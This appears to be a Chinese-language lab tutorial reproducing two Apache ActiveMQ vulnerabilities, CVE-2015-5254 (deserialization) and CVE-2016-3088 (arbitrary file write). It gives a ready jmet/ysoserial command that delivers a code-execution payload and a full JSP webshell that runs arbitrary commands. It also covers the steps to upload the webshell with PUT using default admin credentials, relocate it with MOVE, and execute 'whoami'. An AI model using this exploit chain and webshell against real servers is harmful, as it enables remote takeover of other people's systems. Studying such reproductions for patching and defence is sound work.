一、概述
Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。
环境运行后,会开启两个端口,61616和8161
其中61616是工作端口,消息在这个端口进行传递,8161是网络管理页面端口,访问ip:8161即可看到网络管理页面。
一 CVE-2015-5254ActiveMQ反序列化漏洞
漏洞详情:
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码
1.上传文件
使用ysoserial构造可执行命令的序列化对象
作为一个消息,发送给61616端口
访问web页面,查看消息,触发漏洞
下载jmet的jar文件,Jmet原理是使用ysoserial生成payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME
执行如下命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “touch
/tmp/success” -Yp ROME 192.168.4.10 61616
这个时候已经上传到web管理页面,我们通过访问
http://yourip:8161/admin/browse.jsp?JMSDestination=event
来查看消息
点击查看这条消息,触发漏洞。查看容器中/tem/success利用漏洞成功
二、CVE-2016-3088Activemq任意文件写入漏洞
首先访问ip:8161/admin进行登录 账号:admin 密码:admin
访问ip:8161/fileserver进行抓包,使用PUT方法,将webshell上传到fileserver目录下
jsp的内容为:
<%@ page import=“java.io.*”%> <% out.print(“Hello”); String
strcmd=request.getParameter(“cmd”); String line=null; Process
p=Runtime.getRuntime().exec(strcmd); BufferedReader br=new
BufferedReader(new InputStreamReader(p.getInputStream()));while((line=br.readLine())!=null){ out.print(line+“”); } %>
访问jsp页面
没有解析成功,是fileserver目录下权限不够,访问ip:8161//admin/test/systemProperties.jsp,查看Activemq的绝对路径
等到他的绝对路径后,访问/fileserver/4.jsp,进行抓包,利用MOVE的方式将4.jsp移到opt目录下
移动之后,访问/api/4.jsp?cmd=whoami 命令执行成功